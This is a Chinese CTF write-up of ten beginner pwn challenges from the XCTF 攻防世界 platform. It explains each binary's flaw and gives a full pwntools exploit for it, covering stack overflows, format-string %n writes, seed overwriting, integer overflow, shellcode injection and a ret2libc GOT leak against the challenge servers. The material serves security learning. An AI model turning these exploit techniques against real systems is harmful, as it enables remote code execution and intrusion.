攻防世界
get_shell
发现直接可以拿到shell。
那就直接nc。
hello_pwn
是64位,并且保护基本没有开,去ida看一看
发现一个逻辑,让这个60106c==1853186401就能进入sub_400686这个函数,而这个函数里面是
我们看看unk_601068和dword_60106C的距离。
我们可以看到unk_601068和dword_60106C差了四个字节,而我们看到read是可以读入16个字节的,
所以我们可以输入4个没用的字节,然后直接在后面字节输入我们需要的。
payload如下
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
q = remote("61.147.171.105",54237)
payload = b"aaaa" + p64(1853186401)
q.sendline(payload)
q.interactive()
得到flag。
level0
啥都没开
进入ida看看。
这个没有溢出,我们进入函数看看,
发现具有栈溢出,可以看到read中的buf只能存入128,但是read里面可以读0x200,所以具有栈溢出。
并且函数里面有后门。
结论很简单,我们需要进行栈溢出进入到后门就行。
我们可以用gdb来找偏移量。
我们在这个函数打断点。
然后运行r。
这里一直n,直到到read这里,然后enter然后输入随便几个数比如aaaaaa。
然后去看栈的情况
stack 40,查看40个栈的情况。
我们用rbp的地址值减去rsp的地址值就是偏移量。
是128,因为是64位,所以我们得加上8,为什么呐,这个原因你可以去网上搜栈溢出原理就能明白。
我们还得需要承接bin/sh的东西,是需要rdi寄存器
找到这个地址,开始写payload。
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
q = remote("61.147.171.105",62465)
elf = ELF("./level0")
qjzh = 136
bin_sh = elf.symbols["callsystem"]
print(hex(bin_sh))
payload = b'a'*qjzh + p64(bin_sh)
#gdb.attach(q)
q.sendline(payload)
q.interactive()
但是离谱的事情是我本地打不通,远程可以打通。…
算了拿到flag了。
level2
保护显然易见。
用ida32查看
进入函数看一看
这不包有栈溢出,用上面level0的方法找偏移量。
这个我发现用gdb进不去read函数,所以这个应该只能静态看ida了,
这里的buf到ebp的地址是0x88,加上ebp的地址也就是0x88+4的偏移量。
我们发现这个没有现成的system(“/bin/sh”)
shift f12发现
有/bin/sh
地址为0x804a024
system是有现成的,找到call_system就行
这个0X804845c就行。
写payload就可以了。
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#q = process('./level2')
q = remote("61.147.171.105",52133)
qjzh = 0x88+4
call_system = 0X804845c
bin_sh = 0x804a024
payload = b'a'*qjzh + p32(call_system) + p32(bin_sh)
q.sendline(payload)
q.interactive()
得到flag。
CGfsb
开了canary。看一下ida
我们发现当pwnme==8字节的时候,就会进行cat flag
这里主要利用了格式化字符串print的。
怎么来确定偏移量呐,我们运行,输入
aaa-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x
可以看到print输出的东西,我们发现616161这三个不就是a吗,数一下到aaa的距离,发现是10位置,所以偏移量是10。
也就是说,我们需要得到pwnme的地址,因为地址就是4个字节,然后再添加4个字节,然后写入这个偏移量的位置所以payload是
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
q = remote('61.147.171.105',56820)
pwnme = 0x0804A068 #pwnme所在地址
q.recvuntil(b"please tell me your name:\n")
q.sendline(b"Qjzhalx")
payload = p32(pwnme) + b'a' * 0x4 + b'%10$n'
q.recvuntil(b"leave your message please:\n")
q.sendline(payload)
q.interactive()
payload = p32(pwnme) + b’a’ * 0x4 + b’%10$n’ 再来解释一下吧
在这个 payload 中,pwnme
会被设置成到 %10$n
为止打印出的字符总数。所以,我们需要计算这个值:
p32(addr_pwnme)
生成的四字节地址,加上四个 ‘a’,总共输出了 8 个字节。
- 因此,当
%10$n
执行时,它会将数字 8 写入pwnme
指向的地址,这是因为在遇到%10$n
之前,总共输出了 8 个字符。
这就是为什么 pwnme
会被设置成 8 的原因。这种类型的漏洞利用非常强大,因为它可以用来改写内存中的任意数据,从而可能绕过安全检查、修改程序流程或造成其他影响。
得到flag。
guess_num
全开,正常的,猜数字就是这样。
去ida看看。
发现就是让咱猜数字,我们看看gets能不能覆盖掉seed改成我们想要的内容。
猜对10次进入sub_C3E函数
这个函数是打开flag的。
看一看get输入值的位置
我们发现get里面的值和seed的就相差0x30-0x10的位置。
所以payload是
from pwn import *
from ctypes import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#q = process("./guess_num")
q = remote("61.147.171.105", 51493)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = b"a" * 0x20 + p64(1)
q.sendline(payload)
libc.srand(1)
for i in range(10):
num = str(libc.rand()%6+1)
q.sendline(num)
q.interactive()
b"a" * 0x20
用于填充 gets
接收的缓冲区,直到可以开始覆盖 seed
(假设的种子值变量)的位置。p64(1)
用于将 seed
的值设为 1
。这是精心挑选的,因为后面的代码使用相同的 seed
值 (1
) 来初始化 libc
的伪随机数生成器(srand
),这样就可以预测 rand()
函数的输出。libc.srand(1)使用固定的种子值 1
调用 srand()
的原因是为了使接下来通过 rand()
生成的随机数序列可预测。
得到flag。
int_overflow
保护基本没有开,我们去ida看看。
在main函数里面没有漏洞
进一下login看看。
好像也没有漏洞,但是又check_passwd这个函数,进去看看
这里其实就存在漏洞了这里的v3的长度只有是4-8的时候才会进入else里面。
这里科普一下,怎么样才能是4-8的长度
首先我们要了解一下这张图。
在c语言中有这样的规定:
对于unsigned整型的溢出,溢出之后的数会和2^(8*字节)作模运算,例如一个unsigned char 溢出了,就会把溢出的数值与256求模
举个例子
这里的a和b是相等的。
所以就是unsigned _int8 v3 典型的整型溢出(256+4到256+8),满足其长度的要求,接下来就可以执行strcpy()函数,由于没有对复制的长度进行限制,我们可以借助这个函数,达到rop效果,接下来就是确定跳转的地址了。
这里有个what_is_this函数,就是这个。
我们可以看到s到dest需要0x14的距离。
也就是说,我们需要用0x14的垃圾数据填充,加上覆盖ebp的地址为4,再加上我们需要的返回地址,然后后面在输入(256+4或者256+8 -去0x14-4-4)就可以了。
所以payload是
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
q = remote("61.147.171.105",50345)
#q = process("./int_overflow")
elf = ELF("./int_overflow")
qjzh = 0x14+4
cat_flag = elf.symbols["what_is_this"]
print(hex(cat_flag))
q.sendlineafter("Your choice:",b'1')
q.sendlineafter("Please input your username:",b'qjzhalx')
payload = b'a'*qjzh + p32(cat_flag) + b'a'*(256+6-0x14-4-4)
q.sendlineafter("Please input your passwd:",payload)
q.interactive()
得到flag。
cgpwn2
还是32位的。
打开ida看一看
main函数没有漏洞哎。
我们进入hello函数。
前面好像没有什么用处,我们发现有一个gets的漏洞。
发现pwn里面有system的命令。
也就是这个题目的意思是,让我们用name写入/bin/sh,然后再用gets进行栈溢出system作为返回值, name作为system的参数。
先找偏移量,还是用我那种方法,gdb动态调试,找到gets然后输入,输入完找到栈。
就是这两个相减,所以偏移量是38。
所以system是0x804855A
name是0x804a080
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#q = process('./cgpwn2')
q = remote("61.147.171.105",50961)
#elf = ELF("./cgpwn2")
#name_addr = elf.symbols["name"]
#print(hex(l))
name_addr = 0x804a080
sys_addr = 0x804855A
payload = b'a' * (38 + 4) + p32(sys_addr) + p32(name_addr)
q.sendlineafter("please tell me your name\n", b'/bin/sh')
q.sendlineafter("hello,you can leave some message here:\n",payload)
q.interactive()
得到flag。
string
看到了这些保护。
我们打开ida,看看具体逻辑。
解释一下alarm(0X3c)是啥意思吧。
alarm函数中的参数0x3Cu
是十六进制无符号数,即十进制对应60,所以该函数的作用是在程序运行60秒后,给进程发送SIGALRM信号,如果不另编写程序接受处理此信号,则默认结束此程序。
然后这个就是v4[0]=68,v4[1]=85,然后给了v4[0]和v4[1]的地址
然后v4就进入sub_400D72函数中了。
接着去看sub_400D72函数中是啥样子。
我们发现这里的v4是这里的a1,它先让我们输入了我们的名字,如果名字的长度小于等于0xc,就会进入if里面,会创建一个新的玩家,如果不是就else返回,但是返回回去没有看到任何东西,说明漏洞就在这if里面的三个函数中,先去看第一个函数sub_400A7D。
当我们输入east的时候,会跳出这个函数,我在这个函数并没有发现漏洞,我们接着看下一个函数
sub_400BB9
我们发现,这里我们输入1的时候进入这个if语句中,并且里面有一个print,这不就是格式化字符串的漏洞吗,接着我们退出循环,进入最后一个函数。
sub_400CA6(a1)
这里的a1不要忘记是我们的v4
我们看到这里只有a1[0]和a1[1]相等的时候,才能进入if里面,这里面有mmap,有了mmap我们就可以进行shellcode了。
但是我们知道a1[0]=68,而a[1]是85,怎么样才能改呐,没错,就在上个函数我们可以用格式化字符串改一下a1[0]的值。
找偏移量,发现是7。
所以我们的payload为
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#q = process("./string")
q = remote("61.147.171.105",59892)
q.recvuntil(b'secret[0] is')
addr = int(q.recvuntil(b'\n')[: -1], 16)
print(hex(addr))
q.sendlineafter(b"What should your character's name be:",b"qjzhalx")
q.sendlineafter(b"So, where you will go?east or up?:",b"east")
q.sendlineafter(b"go into there(1), or leave(0)?:",b"1")
q.recvuntil(b"'Give me an address'")
q.sendline(str(addr))
payload = b'%85x%7$n'
q.recvuntil('And, you wish is:\n')
q.sendline(payload)
shellcode = asm(shellcraft.sh())
q.recvuntil(b'Wizard: I will help you! USE YOU SPELL\n')
q.sendline(shellcode)
q.interactive()
得到flag。
level3
查看保护,32位,打开ida。
main函数什么都没有,进入第一个函数
发现read里面有栈溢出,没有后面函数,我们可以利用read来进行ret2libc的利用。
先找偏移量,还是那种方法。
所以是0xffffd108 – 0xffffd080是136
所以偏移量是136+4
直接开始写payload
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
args = {'REMOTE':True}
if args['REMOTE']:
q = remote("61.147.171.105",57850)
else:
q = process("./level3")
elf = ELF("./level3")
libc = ELF("./libc_32.so.6")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = elf.symbols["main"]
#b'a'*140:用于填充程序缓冲区及ebp地址,随便什么字符,填满就行
#p32(write_plt):用于覆盖返回地址,使用plt调用write()函数
#p32(main_addr):设置write()的返回地址为main();因为这一步payload只是为了返回write()的got地址,后续的实际攻击还需要继续使用main函数的read()方法,所以write()执行完毕后需要返回到main()
#p32(0):write()第一个参数,只要转换为p32格式就行
#p32(write_got):返回write()got表地址,这就是这句payload需要得到的信息
#p32(4):读入4个字节,也就是write()got表地址
payload = b'a'*140 + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got) + p32(4)
q.recvuntil('Input:\n')
q.sendline(payload)
write = (u32(q.recv()))
print(hex(write))
libc_base = write - libc.symbols["write"]
print(hex(libc_base))
sys_addr = libc_base + libc.symbols["system"]
print(hex(sys_addr))
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
print(hex(bin_sh))
#p32(sys_addr):覆盖返回地址,跳转到system地址
#p32(0):覆盖system函数的返回地址,我们目的是获得/bin/sh,所以不关心它返回到哪,填充4个字节就行
#p32(binsh_addr):传入system的参数/bin/sh
payload1 = b'a'*140+p32(sys_addr)+p32(0)+p32(bin_sh)
q.sendline(payload1)
q.interactive()
得到flag。